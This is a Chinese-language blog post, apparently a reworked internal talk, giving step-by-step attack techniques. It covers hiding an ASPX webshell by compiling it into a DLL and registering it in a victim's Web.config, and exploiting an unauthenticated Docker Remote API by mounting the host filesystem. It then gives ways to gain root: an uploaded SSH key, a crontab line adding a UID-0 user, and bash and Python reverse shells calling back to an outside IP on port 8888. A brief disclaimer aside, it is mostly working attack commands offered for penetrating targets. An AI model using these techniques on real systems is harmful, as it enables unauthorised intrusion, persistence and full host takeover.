ASPX编译dll隐藏shell&Docker Remote API利用姿势

0x00 前言

这是很久之前的一次内部分享,整理后分享出来。

0x01 ASPX编译Dll隐藏shell

准备工作

  1. ASPX木马(copy到一个单独的文件夹,aabb.aspx为例)
  2. aspnet_compiler.exe(安装了Microsoft .net framework后不同版本均带有此软件,2.0版默认在C:\Windows\Microsoft.NET\Framework\v2.0.50727)
  3. 新建目标文件夹(Dll生成的位置,target为例)
  4. ASPX运行解析环境(最好IIS,本次以PageAdmin携带的AspNet.EXE便携版解析环境为例)

ASPX编译Dll

1
2
aspnet_compiler.exe  -v / -p ASPX木马绝对路径 target目标文件绝对路径
例如:aspnet_compiler.exe -v / -p C:\Users\test\Desktop\zhou4\aspx_shell\test\ C:\Users\test\Desktop\zhou4\aspx_shell\target

命令执行完毕后,在target目标文件夹下的bin目录生成对应Dll文件和一些其他文件

测试环境

使用我所提到的环境编译的情况下,处于功能测试目的,直接运行target目标文件夹下的AspNet.exe即可运行,浏览器访问对应的木马文件名,如aabb.aspx即可正常访问shell木马。
然而打开aabb.aspx文件发现并没有实际内容,将其删除对木马功能没有任何影响

渗透实际环境

  1. 打开编译target目录下bin/*.compiled文件,记录其中assembly(dll文件名和type的值(类名)(此处assembly=”App_Web_gsaqzno3” type=”ASP.aabb_aspx”)
  2. 编辑目标主机网站目录的Web.config文件,在<add verb代码附近添加如下代码:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    <add verb="*" path="木马最终访问路径" type="type的值(类名),assembly的值(dll文件名)" validate="True"/>
    例如:
    <add verb="*" path="aabb.aspx" type="ASP.aabb_aspx,App_Web_amovoubm" validate="True"/>
    如果没有<add verb

    <system.web>
    # 省略其他
    <httpHandlers>
    <add verb="*" path="aabb.aspx" type="ASP.aabb_aspx,App_Web_amovoubm" validate="True"/>
    </httpHandlers>
    </system.web>
  3. 将Dll文件copy到目标主机网站根目录/bin目录下访问网站链接木马路径即可

0x02 Remote API利用姿势

主要问题:docker remote api未授权

1.测试环境准备

测试环境:快捷安装shipyard(docker图形化管理),未设置访问权限

1
2
#在安装docker环境下
curl -sSL https://shipyard-project.com/deploy | bash -s

2.漏洞检测与利用准备

  • 查看docker集群信息

    1
    docker -H 目标IP info
  • 查看docker集群镜像

    1
    docker -H 目标IP images
  • 在目标服务器建立docker容器(最好选择服务器已有镜像),并挂载目标服务器所有文件路径到容器/var/hack路径下

    1
    docker -H 目标IP run -d -v /:/var/hack --name getshell tutum/lamp
  • 进入docker容器进行漏洞利用(此处name为getshell

    1
    docker -H 123.207.*.* exec -it getshell /bin/bash

3.漏洞利用姿势

3.1上传公钥证书直接root登录
生成公私钥对

1
ssh-keygen -t rsa

上传公钥到目标主机/root/.ssh/authorized_keys文件,然后ssh直接登录root(如果私钥设置密码,需要输入密码)

3.2修改crontab添加root权限用户
编辑/etc/crontab文件最后添加

1
2
*/1 * * * *  root /usr/sbin/useradd 用户名-u 0 -g 0 -o && echo "用户名:密码"|chpasswd
*/1 * * * * root /usr/sbin/useradd 123 -u 0 -g 0 -o && echo "123:123456"|chpasswd

ssh连接,使用新建的用户名密码登录
3.3修改crontab反弹shell
bash版(前两句代码指定运行的环境变量)

1
2
3
SHELL=/bin/bash
PATH=/sbin:/bin:/usr/sbin:/usr/bin
*/1 * * * * root bash -i >& /dev/tcp/123.207.*.*/8888 0>&1

python版

1
2
*/1 * * * *  root	python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("123.207.*.*",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
python -c 'import os;os.popen("bash -i >& /dev/tcp/123.207.*.*/8888 0>&1");'

3.4编写web目录下的文件直接getshell
这个不多说

提示:
本博客里任何文章/动画/教程以及各类软件/工具等仅供个人测试研究,请在下载后24小时内删除,不得用于商业或非法用途,否则后果自负。